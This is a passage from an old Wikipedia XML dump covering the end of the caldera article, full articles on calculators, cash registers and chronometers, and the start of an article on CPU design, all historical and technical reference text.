***[[Mount Okmok]] ([[Alaska]], US)
***[[Valle Grande]] ([[New Mexico]], US)
***[[Yellowstone Caldera]] ([[Wyoming]], US)
**Other
***[[Masaya]], [[Nicaragua]]
*Europe
**[[Askja]] ([[Iceland]])
**[[Campi Flegrei]] ([[Italy]])
**[[Lake Bracciano]] ([[Italy]])
**[[Parque Nacional de la Caldera de Taburiente|Caldera de Taburiente]] ([[La Palma]], [[Canary Islands]], [[Spain]])
**[[Santorini]] ([[Greece]])
**'''Las Cañadas''' on [[Teide]] ([[Tenerife]], [[Canary Islands]], [[Spain]])
*Oceania
**[[Lake Taupo]] ([[New Zealand]])
**[[Mount Warning]] ([[Australia]])


*Mars
**[[Olympus Mons]] Caldera 
*Venus
**[[Maat Mons]] Caldera 

==See also==
* [[Supervolcano]]
* [[Volcanic Explosivity Index]]

==External links==
{{commons|Caldera}}
* [http://volcanoes.usgs.gov/Products/Pglossary/caldera.html USGS page on calderas]
* [http://www.bigvolcano.com.au/natural/wollum.htm The Caldera of the Tweed Volcano - Australia]
* [http://host.uniroma3.it/progetti/cev/Web%20CEV%20folder/lagarita.html Largest Explosive Eruptions: New results for the 27.8 Ma Fish Canyon Tuff and the La Garita caldera, San Juan volcanic field, Colorado]

==References==
* Peter Lipman (1999). &quot;Caldera&quot;. ''In'' Haraldur Sigurdsson, ed. ''Encyclopedia of Volcanoes''. Academic Press. ISBN 012643140X

[[Category:Volcanology]]
[[Category:Landforms]]
[[Category:Craters]]
[[Category:Volcanic calderas]]
[[Category:Igneous rocks]]

[[cs:Kaldera]]
[[de:Caldera (Krater)]]
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  <page>
    <title>Calculator</title>
    <id>7593</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
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      <minor />
      <comment>rv to Wernher.  Spam.</comment>
      <text xml:space="preserve">[[Image:Calculator.kodabar.jpg|thumb|right|250px|A modern basic arithmetic calculator]]
{{otheruses}}
A '''calculator''' is a device for performing numerical [[calculation]]s.  The type is considered distinct from both a [[calculating machine]] and a [[computer]] in that the calculator is a special-purpose device that may not qualify as a [[Turing machine]].  
Although modern calculators often incorporate a general purpose computer, the device as a whole is designed for ease of use to perform specific operations, rather than for flexibility. Also, modern calculators are far more portable than other devices called computers.

==Overview==
In the near past, mechanical and clerical aids such as [[abacus|abacuses]], [[comptometer]]s, [[Napier's bones]], books of [[mathematical table]]s, [[slide rule]]s, [[adding machine]]s, were used for serious numeric work, and the word &quot;calculator&quot; denoted a person (most often male) who did such work for a living using such aids as well as pen and [[paper]]. This semi-manual process of calculation was tedious and error-prone.

Modern calculators are electrically powered and are made by numerous manufacturers, in countless shapes and sizes varying from cheap, give-away, credit-card sized models to more sturdy adding machine-like models with built-in printers.

== Electronic calculators==
In the past, some calculators were as large as today's [[computers]]. The first [[mechanical calculator]]s were mechanical desktop devices, which were soon replaced by electromechanical desktop calculators, and then by electronic devices using first [[thermionic valve]]s, then [[transistor]]s, then hard-wired [[integrated circuit]] logic. Today, most calculators are handheld microelectronic devices. 

===A basic calculator===
The complexity of calculators varies with the intended purpose. A simple modern calculator, 
suitable for everyday activities such as shopping or checking a bill, might consist of the following parts:

* A power source, such as a [[battery (electricity)|battery]] or a [[solar panel]]
* A display, usually made from [[LED]] lights or [[LCD|liquid crystal (LCD)]], capable of showing a number of digits (typically 8 or 10)
* Electronic circuitry
* A [[keypad]] containing:
**The ten digits, 0 through 9
**The [[decimal point]]
**The [[equals sign]], to prompt for the answer
**The four arithmetic functions (namely, [[addition]], [[subtraction]], [[multiplication]] and [[Division (mathematics)|division]])
**A Cancel button, to clear the current calculation
**On and off buttons
**Other basic functions, such as [[square root]] and [[percentage]] (%).
* More advanced models may have a single-number [[Computer storage|memory]], which can be recalled where necessary.

Since the late-[[1980s]], it has become common to incorporate simple calculators in other small devices, such as [[mobile phone|mobile phones]], [[pager|pagers]] or [[wrist watch|wrist watches]].

===Advanced electronic calculators===
[[Image:CRAZY copy.gif|right|thumb|A screenshot of a 3D [[wire frame model|wire frame graph]] on a [[TI-89 series|TI-89]] calculator.]]
More complex ''scientific calculators'' support [[trigonometric function|trigonometric]], [[statistics|statistical]] and other [[list of functions|mathematical functions]]. The most advanced modern calculators can display graphics, and include features of [[computer algebra system]]s. They are also programmable; calculator applications include algebraic equation solvers, financial models and even games.

Only a few companies develop and make modern professional engineering and finance calculators:  The most well-known are [[Casio]], [[Sharp Corporation|Sharp]], [[Hewlett-Packard|Hewlett-Packard]] (HP) and [[Texas Instruments|Texas Instruments]] (TI).  Such calculators are good examples of [[embedded system]]s.

== Use in education ==

In most developed countries, [[student|students]] use calculators for schoolwork.  There was some initial resistance to the idea out of fear that [[Elementary arithmetic|basic arithmetic skills]] would suffer.  There remains disagreement about the importance of the ability to perform calculations by hand or &quot;in the head&quot;, with some curricula restricting calculator use until a certain level of proficiency has been obtained, while others concentrate more on teaching [[estimation]] techniques and problem-solving.

There are other concerns - for example, that a pupil could use the calculator in the wrong fashion but believe the answer because that was the result given by the calculator. Teachers try to combat this by encouraging the student to make an estimate of the result manually and ensuring it roughly agrees with the calculated result. Also, it is possible for a child to type in -1 x -1 and obtain the correct answer '1' without truly realising the principle involved. In this sense, the calculator becomes a crutch rather than a learning tool, and it can slow down students in exam conditions as they check even the smallest result on a calculator.

== Other concerns on usage ==

Errors are not restricted to school pupils. Any user could carelessly rely on the calculator's output without double-checking the [[orders of magnitude|magnitude]] of the result - i.e. where the [[decimal separator|decimal point]] is positioned. This problem was all but nonexistent in the era of [[slide rule]]s and pencil-and-paper calculations, when the task of establishing the magnitudes of results had to be done by the sufficiently meticulous user.

Most everyday calculators are not completely accurate. There is a level of detail beyond which they truncate the number in memory, a symptom called [[arithmetic underflow]]. This essentially reduces the accuracy of the calculation, and this error can accumulate (for example, if the number is multiplied by itself, the error doubles). It is therefore possible for the calculator to show '''51.999999''' on the display when the accurate result is, in fact, '''52'''. Also, most everyday calculators do not follow the proper [[order of operations]] in math; therefore, if someone were to type (on an average calculator) &quot;2+4×2&quot;, they may get 12 (i.e., the answer to &quot;(2+4)×2&quot;), instead of 10, the correct answer (i.e., the answer to &quot;2+(4×2)&quot;).

Some fractions such as 2/3 are awkward to display on a calculator display as they are usually rounded to 0.66666667. Also, some fractions such as 0.14285714... can be difficult to recognise in decimal form - in fact, this number is 1/7. Some of the more advanced scientific calculators are able to work in [[vulgar fraction]]s, although the operation in practice is somewhat awkward.

== Calculators vs. computing ==

A fundamental difference between a calculator and most computers is that calculators typically operate in [[Binary-coded decimal]] rather than binary as do computers.  Also, the market for calculators is extremely price-sensitive; typically the user cares primarily about what is the least expensive model having a specific feature set, but does not care much about speed (since speed is primarily constrained by how fast the user can press the buttons).  Thus designers of calculators strive to minimize the number of logic elements on the chip, not the number of clock cycles needed to do a computation.

For instance, instead of a hardware multiplier, a calculator might implement floating point math with code in ROM, and compute trigonometric functions with the [[CORDIC]] algorithm because CORDIC does not require floating-point.  For similar reasons, bit-serial logic designs are more common in calculators whereas bit-parallel designs dominate general-purpose computers: a bit-serial design minimizes the chip complexity but takes many more clock cycles.

[[Personal computer]]s and [[personal digital assistant]]s can perform general calculations in a variety of ways:

*computers often have a separate calculator program, varying from one that just emulates a simple calculator, such as [[Microsoft Calculator]], to advanced [[spreadsheet]] programs such as [[Microsoft Excel|Excel]] or [[OpenOffice.org]] Calc
*for more advanced calculations one can use a [[computer algebra]] program, such as [[Mathematica]], [[Maple computer algebra system|Maple]] or [[Matlab]].
*browsers can perform calculations using [[client-side scripting]], e.g. using [[Client-side JavaScript]] by entering &quot;javascript:alert(12*13)&quot; in the address bar (the answer 156 appears in a separate alert window) or &quot;document.write (12*13)&quot; in a [[HTML]] file, preceded with &quot;&lt;script type=&quot;text/javascript&quot;&gt;&quot; and followed by &quot;&lt;/script&gt;&quot;.
*an interpreter or compiler for a general programming language can be used
*calculations can also be performed [[server-side]], e.g. with the [[List of Google services and tools#Calculator|calculator feature of the Google search engine]]

==History==

===Origin: The Abacus===
[[Image:Abacus 6.png|thumb|right|Chinese abacus.]]
{{main|Abacus}}
The first calculators were abacuses, and were often constructed as a wooden frame with beads sliding on wires. Abacuses were in use centuries before the adoption of the written Arabic numerals system and are still widely used by merchants and clerks in China and elsewhere.

===The 17th century===
[[Wilhelm Schickard]] built the first automatic calculator called the &quot;Calculating Clock&quot; in 1623. Some 20 years later, in 1645, French philosopher [[Blaise Pascal]] invented the calculation device later known as [[Pascal's calculator]], which was used for taxes in France until 1799. The German philosopher G.W.v.[[Leibniz]] also produced a [[Calculus ratiocinator| calculating machine]].

===1930s to 1960s===
[[Image:Mechanical-Calculator.png|thumb|right|Mechanical calculator from 1914]]
From approximately the [[1930s]] through the [[1960s]], mechanical calculators were often used (see ''Mechanical Calculator'' under [[History of computing hardware]]).  These desktop devices were motor-driven and had multiple columns of keys for each digit.  [[Addition]] and [[subtraction]] were performed in a single operation, as on a conventional adding machine, but [[multiplication]] and [[division (mathematics)|division]] were accomplished by repeated mechanical additions and subtractions. Handheld mechanical calculators such as the [[Curta]] continued to be used until they were displaced by electronic calculators in the 1970s.

In [[1954]], [[IBM]] demonstrated a large all-[[transistor]] calculator and, in [[1957]], they released the first ''commercial'' all-transistor calculator (the IBM 608). In October [[1961]], the world's first ''all-electronic desktop'' calculator, the Bell Punch/Sumlock Comptometer ANITA Mk.VII was released. This British designed-and-built machine used [[vacuum tube]]s in its circuits and cold-cathode [[nixie tube]]s for its display. It was superseded, technologically, in [[1964]] when [[Sharp Corporation|Sharp]] introduced the CS-10A—the world's first ''all-transistor'' ''desktop'' calculator—which weighed 25 kg (55 lb) and cost 500,000 yen (~US$2500). The first ''handheld'' electronic calculators went on sale in [[1970]] with models from Japanese manufacturers Sharp and [[Canon Inc.|Canon]] weighing around 770 g (1.7 lb).

{|
|[[Image:Calculator_facit_hg.jpg|thumb|Facit NTK (1954)]]
|[[Image:Calculator_triumphator_hg.jpg|thumb|Triumphator CRN1 (1958)]]
|[[Image:Calculator_walther_hg.jpg|thumb|Walther WSR160 (1960)]]
|[[Image:Calculator_divisumma24_hg.jpg|thumb|Olivetti Divisumma 24 (1964)]]
|}

===1970s to mid-1980s===
In the early [[1970s]], the ''Monroe EPIC'' programmable calculator came on the market.  A large desk-top unit, with an attached floor-standing logic tower, it was capable of being programmed to perform many computer-like functions.  However, the only ''branch'' instruction was an implied unconditional branch (GOTO) at the end of the operation stack, returning the program to its starting instruction.  Thus, it was not possible to include any [[conditional branch]] (IF-THEN-ELSE) logic.  During this era, the absence of the conditional branch was sometimes used to distinguish a programmable calculator from a computer.

The first American-made pocket-sized calculator, the Bowmar 901B (popularly referred to as ''The Bowmar Brain''), measuring 5.2×3.0×1.5 in (131×77×37 mm), came out in the fall of [[1971]], with four functions and an eight-digit red [[light-emitting diode|LED]] display, for $240, while in August [[1972]] the four-function [[Sinclair Executive]] became the first slimline pocket calculator measuring 5.4×2.2×0.35 in (138×56×9 mm) and weighing 2.5 oz (70g). It retailed for around $150 ([[Pound Sterling|GB£]]79). By the end of the decade, similar calculators were priced less than $10 (GB£5).

The first pocket calculator with ''scientific'' functions, i.e. the first slide rule-replacing model, was the [[1972]] [[HP-35]] from [[Hewlett Packard|Hewlett Packard (HP)]]; it, along with all later HP engineering calculators, used [[reverse Polish notation]] (RPN) (where a calculation like &quot;6 – 2&quot; is performed by pressing &quot;6&quot;, &quot;Enter↑&quot;, &quot;2&quot;, and &quot;–&quot;; instead of algebraically: &quot;6&quot;, &quot;–&quot;, &quot;2&quot;, &quot;=&quot;).

In [[1973]], [[Texas Instruments|Texas Instruments (TI)]] introduced the [[SR-10]], (''SR'' signifying [[slide rule]]) a hand-held ''algebraic notation'' calculator, which was later followed by the [[SR-11]] and eventually the [[TI-30]].

The first ''programmable'' hand-held calculator was the [[HP-65]], in [[1974]]; it had a capacity of 100 instructions, and could store and retrieve programs with a built-in magnetic card reader. A year later the [[HP-25C]] introduced ''continuous memory'', i.e. programs and data were retained in memory during power-off.  In [[1979]], HP released the first ''[[alphanumeric]]'', programmable, ''expandable'' calculator, the [[HP-41|HP-41C]].  It could be expanded with [[random access memory|RAM]] (memory) and [[read-only memory|ROM]] (software) modules, as well as peripherals like [[bar code]] readers, [[microcassette]] and [[floppy disk]] drives, paper-roll [[thermal printer]]s, and miscellaneous communication interfaces ([[RS-232]], [[HP-IL]], [[HP-IB]]).

===Mid-1980s to present===
[[Image:TI-84_Plus.jpg|right|thumb|A [[TI-84 Plus series|TI-84 Plus]] graphing calculator from Texas Instruments.]]
The two leading manufacturers, HP and TI, released steadily more feature-laden calculators during the 1980s and 90s.  At the turn of the millennium, the line between a [[graphing calculator]] and a PDA/ [[handheld computer]] was not always clear (forgetting the keyboard for the sake of the argument), as some very advanced calculators such as the [[TI-89]] and [[HP-49G]] could [[derivative|differentiate]] and [[integration|integrate]] [[function (mathematics)|function]]s, run [[word processing]] and [[Personal information manager|PIM]] software, and connect by wire or [[infrared|IR]] to other calculators/computers.

In March [[2002]], HP announced that the company would no longer produce calculators, which was hard to fathom for some fans of the company's products; the [[HP-48]] range in particular had an extremely loyal customer base.  Nevertheless, HP restarted their production of calculators in late 2003. The new models, however, reportedly didn't have the mechanical quality and sober design of HP's earlier calculators for which HP calculators were once famous (instead featuring the more &quot;youthful&quot; look and feel of contemporary competing designs from TI).  In the days when
a scientific calculator cost about as much as a computer does today, HP sales reps were famous
for starting demonstrations by slamming the calculator on the floor.  But today calculators
are regarded as cheap, disposable gadgets.

The [[HP-12C|HP 12c]] financial calculator is still produced. It was introduced in 1981 and is still being made with nearly no changes. The HP 12c featured the [[reverse Polish notation]] mode of data entry. In 2003 several new models were released, including an improved version of the HP 12c, the &quot;HP 12c platinum edition&quot; which added more memory, more built-in functions, and the addition of the algebraic mode of data entry.

==Trivia==
*The word &quot;calculator&quot; is occasionally used as a pejorative term to describe an inadequately capable general-purpose [[microcomputer]]. The synonym of this meaning is &quot;[[wikt:bitty box|bitty box]]&quot;, as discussed in the [[Jargon file]].

*A curious episode of the mid 1970s involved the Melcor 635, a scientific calculator with a [[computer bug|bug]] in its [[trigonometry|trigonometric]] functions.  Because the [[CORDIC]] algorithms used in most calculators cannot compute the inverse trigonometric functions of [[0 (number)|zero]], these need to be [[hardcoded]] — and some engineer at Melcor got it wrong.  For any input other than exactly zero, even for instance 1.0E-99, the calculator worked correctly; the user simply had to remember not to compute the [[trigonometric function#inverse functions|arc-cosine]] of zero.  The company discovered this after making 50,000 calculators.  The upshot was an advertisement in Summer and Fall 1975 issues of such publications as ''[[Scientific American]]'' and the MIT alumni magazine headlined 'Somebody Goofed', offering these calculators, for which a typical retail price at the time would have been around 100 dollars, for $59.99.

*As many schoolchildren and students know, some words and simple phrases can be written using an ordinary [[seven-segment display]] calculator; this involves entering [[calculator spelling|certain numbers]] and then viewing the resulting words by turning the calculator display upside-down.

==See also==

General interest:
*[[:Category:Calculators]]
*[[History of computing hardware]]
*[[Beghilos]]

Mechanical calculators:
*[[Abacus]]
*[[Napier's bones]]
*[[Comptometer]]
*[[Mercedes (calculator)]]
*[[Adding machine]]
*[[Addiator]]
*[[Curta calculator|Curta]]

Electronic calculators:
*[[List of calculators]]

==Patents==

* {{US patent|2668661}} – ''Complex computer'' – [[George Stibitz|G. R. Stibitz]] (electromechanic device that would calculate, record, and print results)
* {{US patent|3819921}} – ''Miniature electronic calculator'' – [[Jack Kilby|J. S. Kilby]] (TI electromechanic device)

==External links==
* [http://www.ti.com/corp/docs/company/history/calc.shtml On TI's US Patent No. 3819921] – From TI's own website
* [http://sharp-world.com/corporate/info/his/h_company/1994/ 30th Anniversary of the Calculator] – From Sharp's web presentation of its history; including a picture of the CS-10A desktop calculator
* [http://www.maths.hscripts.com/ Online Calculators and Converters]
* [http://web.peoriadesignweb.com/calculator Online Calculator Software]
* [http://www.satsig.net/seticalc.htm Online deep space SETI range calculator] 
* [http://ostermiller.org/calc/calculator.html JavaScript Scientific Calculator] – Scientific notation, hex, octal, decimal, binary, and math functions; requires [[JavaScript]] (from ostermiller.org)
* [http://www.oldcalculatormuseum.com The Old Calculator Web Museum]
* [http://www.calculators.de Calculator Museum]
* [http://www.taswegian.com/MOSCOW/soviet.html Museum of Soviet Calculators]
* [http://www.rk86.com/frolov/calcolle.htm Soviet Calculators Collection]
* [http://www.vintagecalculators.com/index.html Vintage Calculators]
* [http://www.lendingok.com various calculators]
* [http://www.cut-the-knot.org/Curriculum/Arithmetic/BrokenCalculator.shtml Broken Calculator]
* [http://www.graphcalc.com GraphCalc – an Open Source graphing calculator program]
* [http://www.binarythings.com/hidigit/ HiDigit scientific calculator]
* [http://www.hpmuseum.org The Museum of HP Calculators] ([http://www.hpmuseum.org/prehp.htm slide rules/mech. section])
* [http://www.hydrix.com/wiki/ HP Calculator Wiki]
*[http://www.typeonline.co.uk/number_pad_lesson1.html Number pad typing tutorial]
* [http://www.casiocalc.org International Casio Calculator Community] 
* [http://www.graph100.com French Casio Calculator Community] 
* [http://mycalcdb.free.fr MyCalcDB] : 70's and 80's calculators database



[[Category:Calculators|*Calculator]]
[[Category:Mathematical tools]]
[[Category:Office equipment]]



[[bg:Калкулатор]]
[[da:Lommeregner]]
[[de:Taschenrechner]]
[[es:Calculadora]]
[[eo:Kalkulilo]]
[[fr:Calculatrice]]
[[he:מחשבון]]
[[it:Calcolatrice]]
[[nl:Rekenmachine]]
[[nn:Kalkulator]]
[[ja:電卓]]
[[pl:Kalkulator]]
[[pt:Calculadora]]
[[ro:Calculator]]
[[ru:Калькулятор]]
[[sl:računalo]]
[[sr:Дигитрон]]
[[fi:Laskin]]
[[sv:Miniräknare]]
[[th:เครื่องคิดเลข]]
[[zh:电子计算器]]</text>
    </revision>
  </page>
  <page>
    <title>Cash register</title>
    <id>7594</id>
    <revision>
      <id>40058118</id>
      <timestamp>2006-02-17T20:54:21Z</timestamp>
      <contributor>
        <username>Ewlyahoocom</username>
        <id>241538</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Key]] to [[Key (lock)]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:AntiqueCashRegister7.gif|thumb|250px|right|Antique crank-operated cash register]]A '''cash register''' or '''till''' (British English) is a mechanical or electronic device for calculating and recording sales transactions, and an attached [[cash drawer]] for storing [[currency]]. 
Usually the cash register also prints a [[receipt]] for the customer.

Usually the drawer can be opened only after it is done recording a sale, except when using a special [[key (lock)|key]], which only senior personnel or the owner has. This reduces the risk of personnel [[stealing]] from the [[shop]] owner by not recording a sale and pocketing the money, in the case that the customer does not require a receipt and has to be given change (cash is more easily checked against recorded sales than [[inventory]]). In fact, cash registers were first invented for the purpose of eliminating employee theft or [[embezzlement]].  The first registers were entirely mechanical, without receipts. The employee was required to ring up every transaction on the register, and when the total key was pushed, the drawer opened and a bell would ring, alerting the manager to a sale taking place.  Those original machines were nothing but simple adding machines.

A cash register may be compulsory for [[tax]] purposes. The law sometimes also requires customers to collect the receipt and keep it at least for a short while after leaving the shop, again for checking that the shop records sales, so that it cannot [[tax evasion|evade taxes]].

Often cash registers are attached to [[weighing scale|scales]], [[barcode scanner]]s, [[checkstand|checkstands]], and [[EFTPOS]] or [[credit card]] terminals. Increasingly, dedicated cash registers are being replaced with general purpose [[computer]]s with [[Point of sale|POS]] software.

Today, these machines scan the barcode (usually [[EAN]] or [[Universal Product Code]] (UPC)) for each item, retrieve the price from a [[database]], calculate deductions for items on sale, calculate the [[tax]], calculate differential rates for preferred customers, time and date stamp the transaction, record the transaction in detail including each item purchased, record the method of payment, keep totals for each product or type of product sold as well as total sales for specified periods, and do other tasks as well.

Cash register manufacturers include [[Casio]], [[NCR Corporation|NCR]], [[International Business Machines|IBM]], [[Wincor-Nixdorf]] and [[Uniwell]].

== Self checkout ==
{{main|Self checkout}}
Some supermarkets have introduced self-checkout machines, where the customer is trusted (to an extent) to scan the barcodes (or manually identify uncoded items like fruit), and place the items into a bagging area (where the bag is weighed, the machine complains vocally when it thinks that something in the bag doesn't seem to weigh what the inventory database lists the weight as). There is normally a supervisor watching over several such checkouts; as such the benefit to the customer is little, the benefit to the supermarket is reduced staffing levels. Payment on these machines is accepted by card [[EFTPOS]], or cash via coinslot and bank note scanner.

==Origin==
The first cash register was invented by [[James Ritty]] in [[1879]]. He was the owner of a tavern in [[Dayton, Ohio]] and wanted to stop dishonest employees from pilfering his profits.

[http://www.cashregistergroup.com/acatalog/Glossary.html Cash register terms]
[http://www.tillservices.co.uk/discus Cash register forum]
[http://www.cash-register.info Cash register instruction manuals]

[[Category:Distribution, retailing, and wholesaling]]
[[Category:Commerce]]

[[de:Registrierkasse]]
[[fr:Caisse enregistreuse]]
[[it:Registratore di cassa]]
[[io:Kazo registragilo]]
[[nl:Kassa (apparaat)]]
[[no:Kasseapparat]]
[[ja:キャッシュレジスター]]
[[zh:收银器]]</text>
    </revision>
  </page>
  <page>
    <title>Chronometer</title>
    <id>7595</id>
    <revision>
      <id>42101732</id>
      <timestamp>2006-03-03T21:09:54Z</timestamp>
      <contributor>
        <username>Bota47</username>
        <id>341052</id>
      </contributor>
      <minor />
      <comment>robot  Adding: cs</comment>
      <text xml:space="preserve">A '''chronometer''' is a [[clock]] accurate enough to be used as a portable [[time standard]] on a vehicle, usually in order to determine [[longitude]] by means of [[celestial navigation]]. In [[Switzerland]], only timepieces certified by the [[COSC]] may use the word 'Chronometer' on them.

==History==

Until the mid 1750s, [[navigation]] at [[sea]] was an unsolved problem due to the difficulty in calculating longitudinal position.  Navigators could determine their [[latitude]] by measuring the sun's angle at noon.  However to find their [[longitude]], they needed a portable time standard that would work on a ship.  Conceptually, at local high [[noon]] they could compare the chronometer's [[time]] to determine their longitude (in modern practice, a navigational almanac and trigonometric sight reduction tables permit navigators to measure the [[Sun]], [[Moon]], visible [[planet]]s or any of 57 navigational stars at any time that the horizon is visible).

The problem of creating a sea-worthy timepiece was difficult.  At the time, the best clocks were [[pendulum clock]]s, and the rolling of a ship at sea rendered the pendulum useless. [[John Harrison]], a Yorkshire carpenter, invented a clock based on a pair of counter-oscillating weighted beams connected by springs, whose motion was not influenced by gravity or the motion of a ship. His first two chronometers used this system but he became rightly convinced that they had a fundamental sensitivity to centrifugal force which meant that they could never be accurate enough at sea. His third machine replaced one headache with a bigger one and he eventually abandoned the large machines altogether.

He finally solved the accuracy problems with his H4 chronometer, essentially a large 5 inch (12 cm) diameter pocket watch, winning a prize of £20,000 offered by the government in the early 18th century.  His design used a fast-beating balance wheel controlled by a temperature-compensated spiral spring.  This general layout remained in use until [[microchip]]s reduced the cost of a [[quartz clock]] to the point that electronic chronometers became commonplace.

Ownership of the marine chronometer's design passed to the Admiralty, who now needed manufacturers. [[Thomas Earnshaw]], [[John Arnold]] and others tackled this, moving the temperature compensation into the balance wheel itself and developing the practical and simple spring detent [[escapement]]. This combination was the defining technology of marine chronometers until the electronic era.

[[Aaron Lufkin Dennison]] was the pioneer in the industrial revolution of watch making as early as 1850 in developing the [[American System of Watch Manufacturing]] by Interchangeable Parts at the [[Waltham Watch Company]], which is at the base of today's worldwide manufacturing methods. The American [[Hamilton Watch Company]] harnessed [[mass production]] to produce chronometers in quantity for the [[US Navy]] during [[World War II]].

==Mechanical chronometers==

The crucial problem was to find a resonator that remained unaffected by the motions of a ship at sea.  The [[balance wheel]] solved that problem.  Balance wheels for chronometers used bi-metallic strips to move small weights toward and away from the center of the wheel, in order to adjust the period of the balance wheel for the temperature of the chronometer.  Solid balance-wheels of low-expansion steel alloys such as [[invar]] give results nearly as good, but are more susceptible to magnetism.

The other crucial problem was that the energy of most spring materials changes with temperature.  A special alloy of low-expansion nickel-steel ([[elinvar]]) was eventually developed, just to solve this problem. Additionally, balance-wheel springs had to be given a special oval shape.  The recipes for &quot;observatory quality&quot; steel balance-springs have been lost because of low production volumes.  The original manufacturers (such as Hamilton Watch) are out of business.  Some horologists claim that carbon composite springs have comparable qualities, and are nonmagnetic, as well.

The [[escapement]] drives the balance wheel, usually from a [[gear]] train.  It is the part that ticks.  Escapements have a locking state and a drive state.  In the locking state, nothing moves.  The motion of the balance wheel switches the escapement to drive, when the escapement pushes against the wheel (supplies an impulse) for a brief part of the wheel's cycle.  

The escapement is the part of a clock most prone to wear, because it moves the fastest.  The efficiency of an escapement's design, that is, how much energy is converted into resonant motion, directly affects the accuracy of a clock, and how long a clock can operate between windings.

A chronometer's escapement is usually designed to minimize the energy and time required to unlock the escapement, so that it affects the resonant frequency of the oscillator as little as possible.

Another way of making a clock more efficient is to use ruby as [[jewel bearing]]s for the axes and the parts of the escapement that make repeated contact. It could be thought that ball bearings might be used to good effect at the pivots of clocks and watches, but tests seem to show that they do not perform well under the stop-start conditions typical of mechanical timepieces. Ruby is hard-wearing, can take a high polish, and has a low co-efficient of friction with polished hard steel. Synthetic ruby can also be produced very cheaply nowadays, making it the best material for horological bearing surfaces. Lately, ceramics have been experimented with as a new material for chronometer parts subject to high wear rates.

===Complications===
In horology terms, a [[Complication (horology)|complication]] in a mechanical watch is a special feature that causes the design of the watch movement to become more complicated. Examples of complications include:
* [[Tourbillon]]
* [[Perpetual Calendar]]
* [[Minute repeater]]
* [[Equation of time]]
* [[Power reserve]]
* [[Lunar phase|Moon phases]]
* [[Double chronograph]]

==Today==

[[quartz clock|Quartz clocks]] and [[atomic clock|atomic clocks]] have made mechanical clock-chronometers obsolete for time standards used scientifically and/or industrially, although some custom watchmakers can still produce them.  The techniques used to mass-produce mechanical clock-chronometers are now lost. 

Nevertheless, in Switzerland nowadays, over 1,000,000 Officially Certified Chronometers certificates, mostly for mechanical wrist-chronometers (wrist-[[watch]]) with sprung balance oscillator, are being delivered each year, upon having been submitted to the COSC's most severe tests, each singly identified by an officially recorded individual [[serial number]].

== See also ==

* [[Clock]]
* [[Clockmaker]]
* [[COSC]]
* [[Horology]]
* [[Jewel]]
* [[Railroad chronometers]]
* [[Watch]]
* [[Watchmaker]]
* [[Webb C. Ball]]

== External links==

* [http://www.awi-net.org/ American Watchmakers-Clockmakers Institute]
* [http://fhs.ch/en/ Federation of the Swiss Watch Industry]

[[Category:Clocks]]
[[Category:Navigational equipment]]

[[cs:Chronometr]]
[[de:Chronometer]]
[[it:Cronometro]]
[[he:כרונומטר]]
[[nl:Chronometer]]
[[ja:クロノメーター]]
[[pl:Chronometr]]</text>
    </revision>
  </page>
  <page>
    <title>CPU design</title>
    <id>7597</id>
    <revision>
      <id>41627675</id>
      <timestamp>2006-02-28T17:00:33Z</timestamp>
      <contributor>
        <username>Dyl</username>
        <id>87759</id>
      </contributor>
      <comment>revert incorrect edit</comment>
      <text xml:space="preserve">A CPU generally has these components:
# Datapaths (such as [[ALU]]s and [[pipelines]])
# Logic which controls the datapaths
# memory components such as register files, caches
# clock circuitry such as clock drivers, [[PLL]]s, clock distribution networks
# pad transceivers circuitry
# logic gate cell [[library (electronics)|library]] which is used to implement the logic

CPUs designed for high performance markets might require custom designs for
each of these items to achieve frequency, power-dissipation and chip-area goals. 

CPUs designed for lower performance markets might lessen the implementation burden by:
* acquiring some of these items by purchasing them as  [[intellectual property]]
* use control logic implementation techniques ([[logic synthesis]] using CAD tools) to implement the other components - datapaths, register files, clocks

Common logic implementation techniques used in CPU design include:
* unstructured random logic 
* [[finite state machines]]
* [[microprogramming]] (common from 1965 to 1985, no longer common except for CISC CPUs) 
* [[programmable logic array]] (common in the 1980s, no longer common)

A CPU design project generally has these major tasks:
* architectural study and performance modeling 
* [[register transfer level|RTL]] (eg. logic) design and verification
* [[circuit design]] of speed critical components (caches, registers, ALUs)
* [[logic synthesis]] or logic-gate-level design
* [[static timing analysis|timing analysis]] to confirm that all logic and circuits will run at the specified operating frequency 
* physical design including [[floorplanning]], [[place and route]] of logic gates
* checking that RTL, gate-level, transistor-level and physical-level representatations are equivalent 
* checks for [[signal integrity]], [[design rule checking|chip manufacturability]] 

As with most complex electronic designs, the logic verification effort (proving that the design does
not have bugs) now dominates the project schedule of a CPU.  


Key CPU architectural innovations include [[CPU cache|cache]], [[virtual memory]], [[instruction pipelining]], [[superscalar]], [[CISC]], [[RISC]], [[virtual machine]], [[emulators]], [[microprogram]], and [[stack (computing)|stack]].

== Goals of CPU design ==

The first CPUs were designed to do mathematical calculations faster and more reliably than human &quot;computers&quot;.

Each successive generation of CPU might be designed to achieve some of these goals:
* higher performance levels of a single program or thread
* higher throughput levels of multiple programs/threads
* less power consumption for the same performance level 
* lower cost for the same performance level
* smaller die-area to allow higher levels of integration within one VLSI chip (multiple CPUs or other components)  
* greater connectivity to build larger, more parallel systems
* more specialization to aid in specific targeted markets

Because there are too many programs to test a CPU's speed on all of them, [[benchmark (computing)|benchmark]]s were developed.
The most famous benchmarks are the SPECint and SPECfp benchmarks developed by [[Standard Performance Evaluation Corporation]] and the [[ConsumerMark]] benchmark developed by the Embedded Microprocessor Benchmark Consortium [http://eembc.org/].

Some important measurements include:
* Most consumers pick a computer architecture (normally [[Intel]] [[IA32]] architecture) to be able run a large base of pre-existing pre-compiled software.  Being relatively uninformed on computer benchmarks,  most of them pick a particular CPU based on operating frequency.
* System designers building [[parallel computing|parallel computers]], such as [[Google_search_technology#Current_Hardware | Google]], pick CPUs based on their speed per watt of power, because the cost of powering the CPU outweighs the cost of the CPU itself. [http://www.eembc.org/benchmark/consumer.asp?HTYPE=SIM][http://news.com.com/Power+could+cost+more+than+servers,+Google+warns/2100-1010_3-5988090.html]
* Some system designers building parallel computers pick CPUs based on the speed per dollar.
* System designers building [[real-time computing]] systems want to guarantee worst-case response. That is easier to do when the CPU has low [[interrupt latency]] and when it has deterministic response. ([[DSP]])
* Computer programmers who program directly in assembly language want a CPU to support a full featured [[instruction set]].

